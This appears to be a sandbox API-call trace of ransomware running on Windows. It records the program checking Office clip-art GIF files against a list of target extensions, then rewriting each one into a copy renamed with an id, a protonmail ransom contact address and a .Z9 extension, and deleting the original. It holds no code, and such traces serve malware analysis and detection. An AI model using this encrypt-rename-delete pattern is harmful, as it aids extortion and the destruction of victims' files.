	[0166.717] WriteFile (in: hFile=0x4b8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0166.718] ReadFile (in: hFile=0x440, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.718] WriteFile (in: hFile=0x4b8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.718] SetEndOfFile (hFile=0x4b8) returned 1
	[0166.727] CloseHandle (hObject=0x4b8) returned 1
	[0166.727] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.727] SetEndOfFile (hFile=0x440) returned 1
	[0166.731] CloseHandle (hObject=0x440) returned 1
	[0166.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 1
	[0166.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0166.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0166.741] lstrlenW (lpString=".doc") returned 4
	[0166.741] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0166.741] lstrlenW (lpString=".docx") returned 5
	[0166.741] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1
	[0166.741] lstrlenW (lpString=".pdf") returned 4
	[0166.741] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0166.741] lstrlenW (lpString=".xls") returned 4
	[0166.741] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0166.741] lstrlenW (lpString=".xlsx") returned 5
	[0166.741] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1
	[0166.741] lstrlenW (lpString=".ppt") returned 4
	[0166.741] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0166.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0166.741] lstrlenW (lpString=".zip") returned 4
	[0166.741] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0166.741] lstrlenW (lpString=".rar") returned 4
	[0166.741] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0166.741] lstrlenW (lpString=".bz2") returned 4
	[0166.741] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0166.741] lstrlenW (lpString=".7z") returned 3
	[0166.741] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0166.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0166.741] lstrlenW (lpString=".dbf") returned 4
	[0166.741] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0166.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0166.741] lstrlenW (lpString=".1cd") returned 4
	[0166.741] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0166.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0166.741] lstrlenW (lpString=".jpg") returned 4
	[0166.741] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0166.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0166.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0166.742] lstrlenW (lpString=".doc") returned 4
	[0166.742] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0166.742] lstrlenW (lpString=".docx") returned 5
	[0166.742] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1
	[0166.742] lstrlenW (lpString=".pdf") returned 4
	[0166.742] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0166.742] lstrlenW (lpString=".xls") returned 4
	[0166.742] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0166.742] lstrlenW (lpString=".xlsx") returned 5
	[0166.742] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1
	[0166.742] lstrlenW (lpString=".ppt") returned 4
	[0166.742] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0166.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0166.742] lstrlenW (lpString=".zip") returned 4
	[0166.742] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0166.742] lstrlenW (lpString=".rar") returned 4
	[0166.742] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0166.742] lstrlenW (lpString=".bz2") returned 4
	[0166.742] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0166.742] lstrlenW (lpString=".7z") returned 3
	[0166.742] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0166.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0166.742] lstrlenW (lpString=".dbf") returned 4
	[0166.742] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0166.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0166.742] lstrlenW (lpString=".1cd") returned 4
	[0166.742] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0166.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0166.742] lstrlenW (lpString=".jpg") returned 4
	[0166.742] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0166.742] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0166.743] lstrlenW (lpString="J0099197.GIF") returned 12
	[0166.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.743] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=10898) returned 1
	[0166.743] CloseHandle (hObject=0x4cc) returned 1
	[0166.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 0x220
	[0166.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.744] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.744] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0166.745] GetLastError () returned 0x0
	[0166.745] ReadFile (in: hFile=0x4cc, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x2a92, lpOverlapped=0x0) returned 1
	[0166.747] WriteFile (in: hFile=0x440, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x2aa0, lpOverlapped=0x0) returned 1
	[0166.748] ReadFile (in: hFile=0x4cc, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.748] WriteFile (in: hFile=0x440, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.748] SetEndOfFile (hFile=0x440) returned 1
	[0166.748] CloseHandle (hObject=0x440) returned 1
	[0166.748] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.748] SetEndOfFile (hFile=0x4cc) returned 1
	[0166.751] CloseHandle (hObject=0x4cc) returned 1
	[0166.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 1
	[0166.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0166.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0166.752] lstrlenW (lpString=".doc") returned 4
	[0166.752] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0166.752] lstrlenW (lpString=".docx") returned 5
	[0166.752] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1
	[0166.752] lstrlenW (lpString=".pdf") returned 4
	[0166.752] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0166.752] lstrlenW (lpString=".xls") returned 4
	[0166.752] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0166.752] lstrlenW (lpString=".xlsx") returned 5
	[0166.752] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1
	[0166.752] lstrlenW (lpString=".ppt") returned 4
	[0166.752] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0166.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0166.752] lstrlenW (lpString=".zip") returned 4
	[0166.752] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0166.752] lstrlenW (lpString=".rar") returned 4
	[0166.752] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0166.752] lstrlenW (lpString=".bz2") returned 4
	[0166.753] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0166.753] lstrlenW (lpString=".7z") returned 3
	[0166.753] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0166.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0166.753] lstrlenW (lpString=".dbf") returned 4
	[0166.753] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0166.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0166.753] lstrlenW (lpString=".1cd") returned 4
	[0166.753] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0166.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0166.753] lstrlenW (lpString=".jpg") returned 4
	[0166.753] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0166.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0166.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0166.753] lstrlenW (lpString=".doc") returned 4
	[0166.753] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0166.753] lstrlenW (lpString=".docx") returned 5
	[0166.753] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1
	[0166.753] lstrlenW (lpString=".pdf") returned 4
	[0166.753] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0166.753] lstrlenW (lpString=".xls") returned 4
	[0166.753] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0166.753] lstrlenW (lpString=".xlsx") returned 5
	[0166.753] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1
	[0166.753] lstrlenW (lpString=".ppt") returned 4
	[0166.753] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0166.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0166.753] lstrlenW (lpString=".zip") returned 4
	[0166.753] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0166.753] lstrlenW (lpString=".rar") returned 4
	[0166.900] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0166.900] lstrlenW (lpString=".bz2") returned 4
	[0166.900] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0166.900] lstrlenW (lpString=".7z") returned 3
	[0166.900] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0166.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0166.900] lstrlenW (lpString=".dbf") returned 4
	[0166.900] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0166.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0166.901] lstrlenW (lpString=".1cd") returned 4
	[0166.901] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0166.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0166.901] lstrlenW (lpString=".jpg") returned 4
	[0166.901] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0166.901] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0166.901] lstrlenW (lpString="J0099201.GIF") returned 12
	[0166.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0167.040] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=51401) returned 1
	[0167.040] CloseHandle (hObject=0x47c) returned 1
	[0167.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 0x220
	[0167.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0167.042] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.042] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0167.043] GetLastError () returned 0x0
	[0167.043] ReadFile (in: hFile=0x47c, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0xc8c9, lpOverlapped=0x0) returned 1
	[0167.046] WriteFile (in: hFile=0x440, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xc8d0, lpOverlapped=0x0) returned 1
	[0167.048] ReadFile (in: hFile=0x47c, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.048] WriteFile (in: hFile=0x440, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.048] SetEndOfFile (hFile=0x440) returned 1
	[0167.048] CloseHandle (hObject=0x440) returned 1
	[0167.049] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.049] SetEndOfFile (hFile=0x47c) returned 1
	[0167.052] CloseHandle (hObject=0x47c) returned 1
	[0167.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 1
	[0167.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0167.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0167.054] lstrlenW (lpString=".doc") returned 4
	[0167.054] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0167.054] lstrlenW (lpString=".docx") returned 5
	[0167.054] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1
	[0167.054] lstrlenW (lpString=".pdf") returned 4
	[0167.054] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0167.054] lstrlenW (lpString=".xls") returned 4
	[0167.054] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0167.054] lstrlenW (lpString=".xlsx") returned 5
	[0167.054] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1
	[0167.054] lstrlenW (lpString=".ppt") returned 4
	[0167.054] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0167.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0167.054] lstrlenW (lpString=".zip") returned 4
	[0167.054] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0167.054] lstrlenW (lpString=".rar") returned 4
	[0167.054] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0167.054] lstrlenW (lpString=".bz2") returned 4
	[0167.054] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0167.054] lstrlenW (lpString=".7z") returned 3
	[0167.054] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0167.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0167.054] lstrlenW (lpString=".dbf") returned 4
	[0167.054] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0167.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0167.054] lstrlenW (lpString=".1cd") returned 4
	[0167.054] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0167.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0167.054] lstrlenW (lpString=".jpg") returned 4
	[0167.054] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0167.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0167.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0167.055] lstrlenW (lpString=".doc") returned 4
	[0167.055] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0167.055] lstrlenW (lpString=".docx") returned 5
	[0167.055] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1
	[0167.055] lstrlenW (lpString=".pdf") returned 4
	[0167.055] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0167.055] lstrlenW (lpString=".xls") returned 4
	[0167.055] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0167.055] lstrlenW (lpString=".xlsx") returned 5
	[0167.055] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1
	[0167.055] lstrlenW (lpString=".ppt") returned 4
	[0167.055] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0167.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0167.055] lstrlenW (lpString=".zip") returned 4
	[0167.055] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0167.055] lstrlenW (lpString=".rar") returned 4
	[0167.055] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0167.055] lstrlenW (lpString=".bz2") returned 4
	[0167.055] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0167.055] lstrlenW (lpString=".7z") returned 3
	[0167.055] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0167.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0167.055] lstrlenW (lpString=".dbf") returned 4
	[0167.055] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0167.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0167.055] lstrlenW (lpString=".1cd") returned 4
	[0167.055] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0167.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0167.055] lstrlenW (lpString=".jpg") returned 4
	[0167.055] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0167.056] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0167.056] lstrlenW (lpString="J0099203.GIF") returned 12
	[0167.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0167.056] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=3904) returned 1
	[0167.056] CloseHandle (hObject=0x47c) returned 1
	[0167.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 0x220
	[0167.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0167.057] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.057] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0167.058] GetLastError () returned 0x0
